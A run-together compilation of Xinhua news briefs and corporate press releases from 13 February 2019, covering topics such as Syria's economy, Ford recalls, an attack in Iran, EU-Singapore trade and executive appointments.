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DAMASCUS, Feb. 13 (Xinhua) -- Teddybears, roses and heart-shaped pillows are losing their glamor as the traditional Valentine's Day gifts this year in Damascus, capital of Syria, as the eight-year war and resulting economic hardships have stripped the majority of the people of the surprise of the happy day.

In the marketplaces of the Syrian capital, many merchants started on the wrong foot in an obvious recession, in addition to hard weather conditions.

Take the time-honored Hamidiyeh Souk, vendors there are sitting idly in their shops, hoping to sell the Valentine's gifts to the young people.

They said most of the people just come in the shops to ask about the prices and then leave "without sliding their hands in their pockets."

Muhammad, 41, a shop owner at the souk, was sitting near his shop and flipping between photos on his smartphone.

"The sales this year are so weak ... People used to come and buy gifts," he said.

Notably, despite the security improvement in the capital, many still feel uncomfortable about the situation, saying they are being haunted by something called post-war depression.

However, the most solid reason behind is the tough economic situation, which deteriorated recently as the Western powers, mainly the United States, tightened their sanctions on war-torn Syria.

On Jan. 24, the U.S. government announced additional sanctions on Syria as well as every entity that deals economically with the war-torn country.

Basic necessities such as electricity, cooking gas and the fuel for heating have become scarce.

Additionally, the value of the Syrian pound against the U.S. dollar has dropped 10 percent over the past few days.

Muhammad, the merchant, told Xinhua that a large number of young men over 18 are doing their mandatory military service in Syria, another reason for this year's less warm Valentine's Day.

However, Fadi, a 20-year-old man, told Xinhua that people should always focus on the upside of things.

"True that the economic situation is hard nowadays in Damascus, but people should be thankful for the return of peace to the capital," he said.VANCOUVER, B.C., Feb. 13, 2019 (GLOBE NEWSWIRE) -- Sharc International Systems Inc. (CSE: SHRC) (FSE: IWIA) (OTCQB: INTWF) ("SHARC" or "the Company") is pleased to announce the appointment of Mr. Brock Trimble to the position of Interim Sales Coordinator for the company, assisting customers with EfficiencyBC funding program.



Mr. Trimble will play a key role in assisting SHARCs customers access funding through EfficiencyBC, a new program jointly funded by the BC and Federal Governments which, through partner programs, will provide up to $200,000 for a commercial business to switch to high-efficiency heating equipment and to make building envelope improvements. The program was launched in September 2018 in partnership with the federal government, BC Hydro, FortisBC, BC Housing, and many local governments. The program is jointly funded by the Province and the Government of Canada under the Low Carbon Economy Leadership Fund. In addition, both BC Hydro and FortisBC offer supporting programs that provide additional incentives for energy efficiency of up to $200,000 and $500,000 respectively.

Further information about EfficiencyBC funding is available on the EfficiencyBC website.

I am confident that Brock will be a key resource helping our customers to access this important funding initiative and the partnerships within the EfficiencyBC program to help reduce their energy costs and lower their carbon footprint, said SHARC CEO Lynn Mueller. EfficiencyBC provides an important financial incentive and Brock is here to provide a seamless experience.

Mr. Trimble has been with SHARC for 4 years and previously had been Supervisor of Production and Service, where he oversaw production of all SHARC systems and led the service team. His intimate knowledge of the SHARC family of products is a great fit as he moves into his role as interim sales coordinator.

About SHARC International Systems

SHARC International Systems Inc. is a world leader in thermal heat recovery. SHARC technology systems recycle thermal energy from wastewater, generating one of the most energy efficient and economical systems for heating, cooling & hot water preheating for commercial, residential and industrial buildings. SHARC is publicly traded in Canada (CSE: SHRC), the United States (OTCQB: INTWF) and Germany (Frankfurt: IWIA).

Further information about the Company is available on our website at www.sharcenergy.com or under our profile on SEDAR at www.sedar.com .

ON BEHALF OF THE BOARD

Lynn Mueller

Chairman and Chief Executive Officer

For further information, please contact:

Investor Relations

Jeff Walker

The Howard Group

Phone: (888) 221-0915 or (403) 221-0915

Email: jeff@howardgroupinc.com

Jamie Hyland

SHARC International Systems Inc.

Telephone: (604) 442-2425

Email: jamie.hyland@sharcenergy.com

Neither the Canadian Securities Exchange nor its Regulation Services Provider (as that term is defined in policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release.

Forward-Looking Statements

Certain statements contained in this news release may constitute forward-looking information. Forward-looking information is often, but not always, identified by the use of words such as "anticipate", "plan", "estimate", "expect", "may", "will", "intend", "should", and similar expressions. Forward-looking information involves known and unknown risks, uncertainties and other factors that may cause actual results or events to differ materially from those anticipated in such forward-looking information. SHARC's actual results could differ materially from those anticipated in this forward-looking information as a result of regulatory decisions, competitive factors in the industries in which the Company operates, prevailing economic conditions, and other factors, many of which are beyond the control of the Company. SHARC believes that the expectations reflected in the forward-looking information are reasonable, but no assurance can be given that these expectations will prove to be correct and such forward-looking information should not be unduly relied upon. Any forward-looking information contained in this news release represents the Company's expectations as of the date hereof, and is subject to change after such date. The Company disclaims any intention or obligation to update or revise any forward-looking information whether as a result of new information, future events or otherwise, except as required by applicable securities legislation.File Photo: Iraqi security forces clear explosives in the remnants of old city of Mosul, Iraq, on Jan. 19, 2019. Iraqi Defense Ministry has carried out a large campaign to clear explosives in the old city of Mosul. Iraqi forces liberated the city of Mosul from the Islamic State (IS) militants in July, 2017. (Xinhua/Yasser Jawad)

UNITED NATIONS, Feb. 13 (Xinhua) -- A Chinese envoy on Wednesday underscored the importance of political settlement to the Iraq issue while addressing a United Nations Security Council meeting on the situation in Iraq.

"We should continue to adhere to the general direction of political settlement to the Iraq issue," Ma Zhaoxu, China's permanent representative to the UN, said at the meeting.

"Achieving inclusive reconciliation and harmonious coexistence among the Iraqi parties is in line with the fundamental interests and the development needs of all Iraqi people," Ma added.

Noting that Iraq is "at a critical stage" in promoting peace, stability and reconstruction, the Chinese envoy called on the international community to earnestly respect Iraqi sovereignty, independence, unity and territory Integrity, "support the good offices of the UN" and provide constructive assistance for an inclusive political settlement.

"We should continue to support Iraq in its fight against terrorism," said Ma, noting that "the threats posed by terrorist remnants remain."

"All parties concerned should strengthen counter-terrorism cooperation, unify standards, crack down on all terrorist organizations listed by the Security Council, consolidate the achievements of counter-terrorism efforts, and resolutely curb the return and spread of terrorist forces and terrorist activities," Ma added.

"The international community should support Iraq in bringing terrorists to justice in accordance with relevant domestic laws," the ambassador added.

Referring to the current political situation in the country, Ma said that China welcomes the progress in government formation in Iraq and commends the efforts by leaders of Iraq to resolve differences through consultations and dialogue, continuously promoting economic development, improving people's living standards and accelerating the reconstruction process.

"China will, as always, support any efforts that help the political settlement process in Iraq and fight against terrorism, actively participate in the reconstruction of Iraq, of Iraqi economy, and will continue to provide assistance within our means," the Chinese ambassador noted.Source: Xinhua| 2019-02-14 05:00:34|Editor: yan

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CHICAGO, Feb. 13 (Xinhua) -- U.S. automaker Ford Wednesday issued three recalls of more than 1.5 million vehicles in North America, mostly for downshift without warning.

The first safety recall involves select 2011 to 2013 Ford F-150 vehicles with six-speed automatic transmission shift issues. About 1.48 million vehicles in North America will be recalled, including approximately 1.26 million in the United States and approximately 221,000 in Canada.

Ford said the transmissions can suddenly downshift into first gear due to a glitch in sending a signal from the transmission speed sensor.

Ford received five reports of accidents including one that caused a whiplash injury from a sudden downshift.

As a remedy, owners will be notified by letter starting March 4. Dealers will update the powertrain control module software to fix the problem.

The second safety recall involved about 27,000 Lincoln Continental vehicles for the model of 2017 to 2019, as door latches may not engage.

Ford said dealers will remove and replace the door latch assemblies in all four doors of the affected vehicles at no cost to the customer.

For the third recall, about 4,200 Ford Mustang, Lincoln Nautilus and Lincoln Navigator vehicles will be called back for blank instrument panel cluster assemblies that may be blank upon vehicle startup.Source: Xinhua| 2019-02-14 04:35:27|Editor: yan

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BEIRUT, Feb. 13 (Xinhua) -- The Lebanese Army announced Wednesday that intelligence authorities in Arsal, Baalbek arrested a Syrian national belonging to al-Qaida-linked Nusra Front, local media reported.

Ahmad Ali Batha is accused of fighting with Nusra Front against the Lebanese Army in Arsal in 2014, according to online independent newspaper Elnashra.

Elnashra reported that Batha is also an expert in manufacturing rockets and explosives while he was also involved in car bomb activities in Lebanon.

Batha was referred to the judicial bodies for further investigations and other legal procedures.

Two days ago, Lebanon's state security arrested another two Syrian nationals belonging to Nusra Front in Nabatieh in southern Lebanon.

The two admitted that they have previously fought with Nusra Front on the Syrian territories in addition to participating in kidnapping and assassination crimes and transferring weapons in favor of the terror group.Source: Xinhua| 2019-02-14 03:50:11|Editor: yan

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TEHRAN, Feb. 13 (Xinhua) -- At least 23 members of security forces were killed in a suicide attack in Iran's southeastern Sistan and Baluchestan province on Wednesday, said a statement by Quds Force of Iran's Islamic Revolution Guards Corps (IRGC).

In the terrorist attack, 17 others were injured, the statement was quoted as saying by semi-official ISNA news agency.

A car loaded with explosives was blasted near the bus carrying a unit of IRGC's Quds Force which led to the causalities, the statement said.

The attack targeted the personnel of the IRGC in Chanali area on Khash-Zahedan road in Sistan and Baluchestan province.

The IRGC statement blamed intelligent agency of Israel for being behind the Wednesday attack.

According to local reports, Jaish al-Adl rebel group has claimed responsibility for the attack.

Jaish al-Adl, which claims it is fighting for the rights of the majority of Sunni people in Sistan and Baluchestan province, has so far claimed responsibility for a number of deadly terrorist attacks and abductions of Iranian security forces in the region.Source: Xinhua| 2019-02-14 01:59:38|Editor: yan

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TEHRAN, Feb. 13 (Xinhua) -- A suicide attack on the bus carrying security forces in Iran's southeastern Sistan and Baluchestan province on Wednesday killed dozens, said Iran's Islamic Revolution Guards Corps (IRGC) in a statement reported by official IRNA news agency.

A car loaded with explosives was blasted near the bus carrying a unit of IRGC's Quds forces which led to the causalities, the statement said.

An informed source told IRNA that at least 20 were killed and 20 others were injured in the suicide attack that targeted the personnel of the IRGC in Chanali area on Khash-Zahedan road in Sistan and Baluchestan province.

According to local reports, Jaish al-Adl rebel group has claimed responsibility for the attack.

Jaish al-Adl, who claims it is fighting for the rights of the majority of Sunni people in Sistan and Baluchestan province, has so far claimed responsibility for a number of deadly terrorist attacks and abductions of Iranian security forces in the region.DALLAS, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Tricolor , the nations largest used vehicle retailer focusing on the sale and financing of vehicles to the Hispanic consumer, today announced that it has appointed industry veteran Don Goin as its Chief Technology Officer. Goin will lead Tricolors digital transformation as it continues to scale and expand its industry-leading direct-to-consumer lending model and explore new applications.



Don has continually distinguished himself as an innovator and leader in our industry, and I am thrilled to welcome him to the team, said Tricolor CEO Daniel Chu. He will be instrumental in advancing our digital strategy across all of our core processes and enhancing the scalability of our platform.

During a twenty-five-year career in technology, Goin served as the Chief Information Officer at Santander Consumer USA for more than twelve years, leading all technology strategy and execution for one of the fastest growing lenders in the sub-prime auto industry. As Chief Information Officer at Capital One Auto Finance, he co-led the creation of an innovation center while integrating technology to accelerate market capabilities and transform solution delivery.

Tricolor has continued to expand its proven model for underwriting thin and no file Hispanics in innovative ways. The company has partnered with artificial intelligence providers to advance its underwriting capabilities while exploring new applications for its ability to efficiently extend affordable loans to customers.

Goin acknowledged his new role, saying: Tricolor has created a truly distinct value proposition. I look forward to creating a complete and thoroughly modern digital customer journey that will transform our market.

According to the Consumer Financial Protection Bureau (CFPB), 26 million people in the United States are credit invisible and an additional 19 million are unscoreable, corresponding to a total of 45 million people in the United States whose lack of a credit score translates into limited options in terms of accessing financing for a major purchase such as a motor vehicle.

Since its founding in 2007, Tricolor empowers its customers by providing access to affordable financing on high quality, certified vehicles in order to enhance the quality of their lives and ultimately help them to build a better future. On a combined basis, Tricolor and its sister brand Ganas have served more than 45,000 customers and disbursed nearly $900 million in affordable auto loans by using its proprietary model to segment risk.

This press release does not constitute an offer to sell or the solicitation of an offer to buy nor shall there be any sale of these securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of such jurisdiction.

For more information about Tricolor and Ganas, please visit tricolor.com and ganas.com.

About Tricolor

Tricolor is a mission-driven company which sells and finances high quality, certified used motor vehicles through its premium brands, Tricolor Auto Group in Texas and Ganas Auto Group in California, utilizing advanced data analytics and technology to advance financial inclusion to a highly underserved market and offer responsible, affordable, credit-building auto loans to individuals with no or limited credit history.

Headquartered in Dallas, Tricolor, together with its affiliate, Ganas Auto Group, operate thirty retail dealerships across twelve markets in Texas and California, as well as a shared services center in Guadalajara, Mexico.Source: Xinhua| 2019-02-14 00:49:26|Editor: yan

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RIGA, Feb. 13 (Xinhua) -- Latvia's crime rate has dropped to all-time low, state police chief Ints Kuzis told reporters Wednesday.

While the total number of criminal offenses decreased by nearly 1,000 over the past year to 43,260 in 2018, some types of crimes were still on the rise, including murders, Kuzis said as he looked back at last year's crime statistics and performance of the state police.

"Just like a year ago, I can assure that it is safe to live in Latvia. The year 2018 also showed that the general trends concerning public order, security and crime are under control. This gives us the sense of security and confidence," the police chief said.

Police statistics show that the number of thefts and robberies in Latvia declined last year but that that domestic quarrels turned violent increasingly often.

A total of 1,147 crimes recorded last year resulted in intentionally inflicted bodily injuries and the number of murders rose by five from a year before to 79 in 2018.

Alarmingly, the number of sex crimes committed against children grew by a third to 77 cases, Kuzis said, noting that such offenses often go unreported as many of them are committed by the victims' family members.CHICAGO, Feb. 13, 2019 (GLOBE NEWSWIRE) -- VelocityEHS , the global leader in cloud-based environment, health, safety (EHS) and sustainability solutions, is reminding safety professionals to file their Tier II Hazardous Chemical Inventory Reports (from the previous calendar year) with the Environmental Protection Agency (EPA) by the annual March 1 deadline. The companys newly designed MSDSonline SDS/Chemical Management software platform helps streamline regulatory reporting obligations, like Tier II, by giving users easier ways to access their hazardous chemical inventory information, which gives them a clearer, more comprehensive understanding of their organizations overall hazardous chemical footprint. Any facility with hazardous materials present at or above threshold amounts established by EPA may be subject to Tier II reporting obligations.



The latest release of VelocityEHS MSDSonline SDS/Chemical Management solutions contains over 350 new and improved features  including, expanded container-level inventory management tools, more robust regulatory cross-referencing features and improved reporting capabilities  that streamline Tier II obligations. The enhanced release also make it easier for safety professionals to complete Tier II report forms with the newly expanded list of GHS-aligned Hazard Communication Standard (HazCom or HCS) chemical classifications, put into effect last year by the EPA for the 2017 calendar year reports. Users can export corresponding Tier II report data into digital Tier II report files that can quickly and easily be imported directly into the EPAs Tier2 Submit software application  the EPAs electronic Tier II submission software, or into E-Plan, the online Tier II reporting system for certain states.

Companies require more sophisticated chemical management solutions to help them manage todays complex regulatory reporting obligations, said Mike Flynn, VelocityEHS vice president of product development. We completely rebuilt our MSDSonline SDS/Chemical management platform making it even easier to use and adding more robust regulatory cross-referencing and reporting tools that give our customers even more control over their compliance obligations and sustainability initiatives. Users now have a clearer, more up-to-date understanding of the hazardous chemicals present in their facilities, so theyre able to meet reporting requirements faster and easier than ever before.

Employers with questions about EPA Tier II reporting are encouraged to attend VelocityEHS live webinar, EPA Tier II Reporting: How To Ensure Compliance with Updated Requirements . It offers more information to help them determine applicability, avoid common reporting mistakes, and apply strategies for staying in compliance. Available to the public at no additional cost, the webinar will be held on February 25, 2019 from 11 a.m. to 12 p.m. ET.

Mandated by Section 312 of the Emergency Planning and Community Right-To-Know Act (EPCRA)  also known as the Superfund Amendments and Reauthorization Act (SARA)  Tier II forms capture critical information about the types, quantities and locations of hazardous chemicals at a given facility. Submitted annually to local fire departments, Local Emergency Planning Committees (LEPC) and State Emergency Response Commissions (SERCs), Tier II reports help local and state emergency responders prepare for chemical events that could affect the community, and provide an emergency point of contact for each reporting facility. Covered companies are required to submit their Tier II reports for the 2018 calendar year by March 1, 2019. Visit www.EPA.gov to learn more.

To learn more about VelocityEHS MSDSonline SDS/Chemical Management solutions, visit www.MSDSonline.com . For more information about the full suite of award-winning VelocityEHS products and services, visit www.EHS.com .

About VelocityEHS

Trusted by more than 14,000 customers worldwide, VelocityEHS helps you reach your EHS goals faster with quick implementations, affordable solutions and unparalleled customer support. We deliver a comprehensive cloud-based environment, health and safety (EHS) software platform. Our easy-to-use software applications are designed on industry best-practice principles to help you solve complex business challenges in simple ways. Recognized by the EHS industrys top independent analysts, including leading scores in the Verdantix 2017 Green Quadrant Analysis and 2017 NAEM EHS & Sustainability Software Ratings Report, VelocityEHS is the global leader in cloud EHS software solutions.



VelocityEHS is headquartered in Chicago, Illinois with locations in Ann Arbor, Michigan; Oakville, Ontario; London, England; and Sydney, Australia. For more information, visit www.EHS.com .Source: Xinhua| 2019-02-13 23:49:06|Editor: yan

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SINGAPORE, Feb. 13 (Xinhua) -- Singaporean Minister for Communications and Information and Minister-in-charge of Trade Relations S Iswaran applauded here Wednesday the trade agreements between Singapore and the European Union following the European Parliament's vote on the same day.

Noting that the European Parliament's decision to consent to the EU-Singapore Free Trade Agreement (EUSFTA) and the EU-Singapore Investment Protection Agreement (EUSIPA) will be hugely beneficial to the city-state and European citizens, the minister said that the agreements will bring the EU and Singapore closer together.

"This is an important milestone in Singapore's bilateral relations with the European Union. The EUSFTA and EUSIPA will bring strategic and economic benefits to both the EU and Singapore," Iswaran said in his statement.

The EU is Singapore's third largest trading partner and the world's largest single market, according to the minister.

The agreements will allow Singapore to benefit from the reduced tariffs and other barriers, the minister said.

Under the EUSFTA, up to 84 percent of Singapore exports will be able to enter into EU borders duty-free. By the third to fifth year, tariffs for the remaining products will be removed. Significantly, the agreement will allow Singapore companies to bid for more government procurement projects in the EU, including projects like railway services or telecommunication services.

Following the vote of approval, both the EU and Singapore can now undertake the necessary administrative processes to allow the EUSFTA to enter into force. The EUSIPA, being a mixed agreement, will be sent to regional and national parliaments of the EU member states for approval before being able to be ratified.

As Singapore is one member of the 10-nation Association of Southeast Asian Nations (ASEAN), the ratification of the agreements might indicate more.

"The two agreements are also strategic pathfinders to an eventual EU-ASEAN trade and investment agreement. They are a tangible demonstration of the EU and Singapore's shared commitment to open and rules-based trade, and will anchor the EU's presence in ASEAN," the minister said.Source: Xinhua| 2019-02-13 23:44:05|Editor: yan

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URUMQI, Feb. 13 (Xinhua) -- For the past 18 years, Wang Haicun and his wife Liu Shihong have been living in a valley near the most dangerous section of a key road linking southern and northern Xinjiang Uygur Autonomous Region.

They are snow observers at the only research center of snow cover and avalanches in China. For research purposes, it was set up by the Chinese Academy of Sciences in the 1960s in an area where avalanches are most likely to occur.

The couple's duty is to collect the data of snow cover at four observation points twice a day, including its depth, temperature and density, as well as collecting 11 meteorological sets of data in the area three times a day.

Over the past 18 years, the couple has used about 360 pencils and used 360 kg of paper. The original data proved to be a valuable asset for researchers studying global climate change and avalanche control.

To sustain themselves, the couple kept geese, chicken and about 90 sheep. To keep foxes and wild boars at bay, they also kept five dogs. Vegetables brought by relatives were always the most valuable food for the family.

"What worries me the most is an avalanche," Wang said. "When an avalanche occurred, you always heard first a roaring sound of airflow and then the deafening sound of falling snow."

"Over the years, many people have been killed," he said.

Besides being a snow observer, Wang has also been a guardian protecting drivers from the threat of avalanches.

"During the time of year when avalanches occur the most, I always stayed outside and prepared to warn drivers about the potential threat," he said.

In 2001, a long-distance bus was stuck in the snow near the center. As the driver was trying to clear the snow, Wang alertly noticed that an avalanche was on its way and immediately yelled to the passengers, saving all their lives.

In 2012, an avalanche hit the research center. The snow bent the fences, damaged part of the cabin and buried the instruments and their dog in the yard.

"We rushed out to dig them out with our bare hands," said Liu.

What also troubled the couple over the years was the lack of mobile signal, which means no communication with the outside world.

To make a phone call with his son studying in the county school, who only visited the couple during summer and winter breaks, Wang had to travel for four hours to a mountain top. For fear of avalanches, the couple never traveled together.

Ahead of this year's Spring Festival, relatives brought to the center new clothes for Wang's son and some firecrackers for celebrations.

The family members took turns to say their new year wishes. A continuous power supply was Wang's wish, while his wife would like a long-awaited photo of her in a wedding dress.

His son, Jiahao, kept silent, but he had quietly written it down: "I wish I can take my dad to see the sea."Source: Xinhua| 2019-02-13 23:24:01|Editor: yan

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NAIROBI, Feb. 13 (Xinhua) -- Kenyan researchers have formed a team to spearhead establishment of open data to generate information and services for smallholder farmers in agriculture and nutrition.

"Open data will provide advice and warning to farmers to enable them take precautions and avoid making unnecessary losses," said Joseph Mureithi, deputy director general in charge of livestock at Kenya Agricultural and Livestock Research Organization (KALRO), during the launch of the team in Nairobi on Wednesday.

Mureithi noted that making data more open, easily available and accessible accelerates innovation and generates economic and social benefits.

He added that openly available weather data could provide farmers with early warnings against adverse farming conditions.

The group that is composed of agricultural researchers, information, communication and technology (ICT) experts, weathermen and Regional Centre for Mapping of Resources for Development (RCMRD), plans to integrate weather data and agricultural research data using ICT tools and techniques.

According to Boniface Akuku, ICT director at KALRO, limited technical capacities of data producers, data managers and data consumers have hindered effective generation and utilization of data products and services in the country.

Akuku said that Kenya currently has rudimentary weather data and agricultural research data that do not provide well informed agronomic advisories to farmers.

He observed that even though a lot of agricultural information, agricultural statistics and weather information are produced and provided, they are not downscaled for on-farm application.

"The information therefore cannot sufficiently meet the aggregate demand that the farmers require from the resource," he added.

Akuku observed that the proposed open data will incorporate adequate skills and ICT platforms to analyze large amounts of open data on crop, pasture, soil and climate.Source: Xinhua| 2019-02-13 23:19:00|Editor: yan

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KIEV, Feb. 13 (Xinhua) -- The United Nations (UN) has established the Ukraine Humanitarian Pooled Fund, the special funding mechanism to support civilians affected by the conflict in eastern Ukraine, local media reported on Wednesday.

Ursula Mueller, UN assistant secretary-general for humanitarian affairs, said in a statement that the fund targets to raise money from international donors to address acute needs of the most vulnerable people.

The mechanism is part of the 2019 Humanitarian Response Plan (HRP) of 162 million U.S. dollars, which is aimed at helping 2.3 million civilians in the conflict-hit region this year.

The HRP focuses on protection of affected people and on restoring their access to livelihoods, essential services and critical structures.

The conflict between government troops and rebels in eastern Ukraine, which has been raging for almost five years, has killed some 10,000 people, including more than 3,300 civilians.

According to the UN estimates, 3.5 million conflict-affected people will need humanitarian assistance and protection services this year.Source: Xinhua| 2019-02-13 23:18:58|Editor: yan

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BERLIN, Feb. 13 (Xinhua) -- The German Federal Agency for Nature Conservation (BfN) called for a stronger consideration of nature protection in regard to the expansion of renewable energies in Germany, a report published by the BfN on Wednesday shows.

"The energy transition must take place in a way that is compatible with nature and the environment," said Beate Jessel, president of the German nature conservation agency BfN.

The expansion of renewable energies was "absolutely necessary" to achieve Germany's climate protection goals as well as to protect species and habitats from the "consequences of climate change", Jessel added.

However, the high number and "wide geographical distribution" of renewable energy plants would contribute to changes in land use and landscape as well as creating risks for certain species and their habitats, according to BfN. Currently, "close-to-nature areas" such as forests or extensively used grassland were increasingly being exploited to set up renewable energy plants, the report reads.

The economical use of area is a central claim of the BfN report. "Area-efficient technologies" should be used more intensively, locations for renewable energy plants should be "carefully" selected and existing roof areas, especially in large metropolitan regions, should be used for solar panels.

In 2018, Germany generated about 40 percent of its electricity from renewable energy sources such as wind, water and photovoltaic.

Still, the largest single energy source was brown coal, which accounted for around a quarter of the total electricity mix, while the German coal commission recommended phasing out of coal-fired energy generation until 2038 in its report published in January.Source: Xinhua| 2019-02-13 23:18:56|Editor: yan

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BANDAR SERI BEGAWAN, Feb. 13 (Xinhua) -- Brunei's monarch has called for more aggressive measures to increase the sultanate's rice production.

In a speech delivered during the maiden harvest of Sembada 188, a new variety of rice, on Tuesday, Sultan Hassanal Bolkiah called on government agencies and other relevant parties to work together to increase the yield of rice in the country.

Brunei aims to cover 22 percent of its rice requirements by 2020, a jump from its self-sufficiency rate of only six percent in 2015.

"May this (initial harvest of the Sembada 188 variety) be one of the early steps that will be followed by more aggressive steps towards achieving self-sufficiency in rice in Brunei," the country's leader said.

The new strain of rice was developed through a research collaboration between Brunei's Department of Agriculture and Agrifood and Indonesia's Biogene Plantation. The crop was planted in a 38.2 hectare site last October.

According to information from Brunei's Prime Minister's Office, the introduction of the high yielding hybrid rice variety is one of the steps undertaken by the government to help the sultanate improve rice sufficiency. The breed, which takes approximately 110 days to ripen, is expected to provide an average yield of five to six metric tonnes per season.

Brunei is also developing more land for agricultural use.

Local daily the Borneo Bulletin quoted the Ministry of Primary Resources and Tourism as saying that more areas have already been identified for the cultivation of rice.

"His Majesty has already consented to the opening of a new area for commercial rice cultivation in the Kandol area of the Belait District, covering 500 hectares of land. It is hoped that this will further boost our country's rice production," Minister of Primary Resources and Tourism Haji Ali was quoted as saying.

Data from the Department of Agriculture and Agrifood showed that Brunei produced more than 2,300 metric tonnes of paddy across over 1,300 hectares of land in 2017. Production of local rice totaled more than 1,500 metric tonnes.

The sultanate imported over 30, 600 metric tonnes of rice in that same year. A majority of these were imported from Thailand, Cambodia and Vietnam.Source: Xinhua| 2019-02-13 23:13:53|Editor: Li Xia

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Sudanese President Omar al-Bashir addresses a celebration of the Popular Defense Forces in Khartoum, Sudan, Feb. 13, 2019. Omar al-Bashir said on Wednesday that 2019 would be a year for peace in the country. (Xinhua/ Mohamed Khidir)

KHARTOUM, Feb. 13 (Xinhua) -- Sudanese President Omar al-Bashir said on Wednesday that 2019 would be a year for peace in the country.

"2019 will be a year for peace and silence the sound of the gun permanently," al-Bashir said while addressing a celebration of the Popular Defense Forces in Khartoum.

He renewed his government's concern with the youth, saying that they "constitute a positive energy. They are the future of Sudan, and we are concerned with the youth and seek to achieve their aspirations."

He further stressed that the role of the Popular Defense Forces would not end, adding that it is a national and social institution that serves all the Sudanese people.

Established in 1989, the Popular Defense Forces is a paramilitary force and is considered part of the Sudanese army. It consists of thousands of volunteers from the Sudanese people.Nashville, TN , Feb. 13, 2019 (GLOBE NEWSWIRE) -- John Sutton was named National Director of Sales for Novatech, Inc. back in May of 2018. Since the promotion, Sutton has been assisting the company to reach new heights. He is a dynamic member of a leadership team recognized for running one of the fastest growing companies by Inc Magazine for the 12th time in the past 13 years, showing a three-year growth from his sales team of 59 percent.

Recognized as the top Document Solutions Reseller in North America by Konica Minolta a year ago, Novatechs sales are up double digits year-over-year and the organization is constantly seeking experienced sales persons to keep up with the demand.

We recruit the best of the best  nimble, knowledgeable and ready to seek success in a changing world of office technology, Sutton stated. The focus on quality relationships modeled by Sutton has been a key trait he attributes to his success, and part of the ambition he seeks to impart in his team.

I started out just wanting to be part of this industry  I always liked IT, and when I had the opportunity to move into sales and IT Management, I jumped at it. I knew I could help the company grow and now I have even more opportunities to make things happen, says Sutton, who joined the industry in the mid-90s and has extensive sales and IT Management experience. We have goals to make Novatech the dominant IT Services and Solutions provider in all the markets that we serve and were already on our way to doing that.

Known for 19 years as NovaCopy, the company rebranded in April 2018 to Novatech as it repositioned itself in the industry to better improve the efficiency and dependability of customers office and IT operations.

We became Novatech, a holistic IT Solutions and Managed Services provider, allowing us to expand our strategic planning and technology consulting into the customer workspace, but we still continue to offer office hardware and other ancillary options in the markets we serve, said Sutton. And, this is all in addition to the state-of-the-art 3D printing technology we offer. So, Im very excited to be a part of all that were doing.

Novatech CEO, Darren Metz adds, John has done a great job since being promoted to National Director of Sales. Not only have sales increased, he has played an integral role in growing and leading our sales professionals and we are very proud to have him as part of the executive team.

Sutton lives in the Memphis, TN area with his wife and one daughter who is preparing to enter a Masters program at The University of Mississippi. As a successful African American in an industry which is still progressing in diversity, John recognizes the opportunity he has to be a positive example within the community. I love being able to speak with young people about what I do and the teams I lead, he said. Looking at a room full of young people from all walks of life and all kinds of backgrounds and telling them about the values and ideals that have helped me to be effective in business is a deeply satisfying reward. Its not a benefit they put in the job offer, but it is a wonderful intangible bonus.

With five acquisitions in the past two years, an ever-expanding stable of Managed IT, 3D printing and Document solutions and all the while coordinating sales education, training and growth opportunities, Sutton and other Novatech executives like him are taking the lead at a pivotal time. New talent, led by insightful management, makes all the difference in such a mission. With sales up over the past three years, it is clear Novatech is making good choices  and quality leadership is among those.

AttachmentSource: Xinhua| 2019-02-13 22:58:49|Editor: yan

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LISBON, Feb. 13 (Xinhua) -- Portuguese maritime police rescued 25 migrants including 13 children, five women and seven men Tuesday night on the Greek island of Lesbos, according to Portuguese Lusa News Agency on Wednesday.

Police said that the boat with the migrants, all Afghan nationality, were detected by the Coast Guard Surveillance Team of the Portuguese maritime police at 9:10 pm local time on Tuesday, which passed the coordinates for the crew on board of the vessel "TEJO", which later made the interception of the boat.

The boat was then towed by the maritime police vessel to the port of Skala Skamineas, where the migrants were safely disembarked and handed over to the Greek authorities.

The Portuguese maritime police conduct part of the Poseidon operation, under the auspices of the European agency FRONTEX and in support of the Greek Coast Guard, in order to control and monitor the Greek and external maritime borders of the European Union.

The operation aims to combat cross-border crime, within the framework of the European Coast Guard functions.Source: Xinhua| 2019-02-13 22:38:41|Editor: yan

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JUBA, Feb. 13 (Xinhua) -- South Sudan's peace monitors have appealed to the media to take the lead in peace building and promoting harmony in the conflict-torn country.

Berhanu Kebede, chief of staff of the Joint Monitoring and Evaluation Commission (JMEC), said the South Sudanese media should take responsibility of the ongoing peace efforts and help defuse hostilities among groups torn-part by more than five years of conflict.

Kebede said media plays key role in disseminating information about the recently signed peace agreement and providing a platform for discussion.

He made the remarks on Wednesday during a day-long conference marking the World Radio Day in Juba, the capital of South Sudan.

"We continue to urge all members of the media to be a pillar in the process of building sustainable peace by reporting stories that will promote understanding and harmony among the people of South Sudan," Kebede said.

"We must work together to ensure that confidence and peace building efforts bear more fruit and that the people of South Sudan feel part of the process," Kebede added.

Chaplain Kara Yokoju, a professor of journalism and communication at the University Juba, said that media can play vital role in promoting dialogue, tolerance and peace among communities.

South Sudan has been embroiled in four years of conflict that has taken a devastating toll on the people by polarizing communities along ethnic lines, massive displacement that has created one of the world's biggest refugee crisis.

The media was partly blamed for aiding ethnic divisions and tension in the world's youngest country as some outlets were used as propaganda tools by the warring factions.

A new deal signed in September 2018 appears to be holding despite continued violence in the southern parts of the country.

"In the next three years, and during the implementation of the revitalized peace agreement, your (media) role will become more and more vital and it is powerful tool to change the negative reports about our country," said Justine Aleer Demayen, undersecretary at the Ministry of Information and Broadcasting.Source: Xinhua| 2019-02-13 22:28:40|Editor: xuxin

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ABUJA, Feb. 13 (Xinhua) -- Nigeria's Code of Conduct Tribunal (CCT) on Wednesday ordered security agencies to arrest the country's suspended chief justice enmeshed in a controversy bordering on asset-declaration rules.

The ruling to arrest Walter Onnoghen, the embattled Chief Justice of Nigeria (CJN), was given at a sitting by the CCT in the capital Abuja.

Onnoghen was charged with operating secret accounts with millions of U.S. dollars undeclared.

Chairman of the CCT Danladi Umar ordered Nigeria's acting police chief and the secret police chief to effect the arrest of the top judge ahead of a sitting by the tribunal on Friday.

Onnoghen's trial started when a petition was filed at the Code of Conduct Bureau by a civil rights group which alleged that he owned some accounts mainly funded through cash deposits made by himself.

The sundry accounts were alleged to have been run in a manner inconsistent with financial transparency and the code of conduct for public officials in the country.

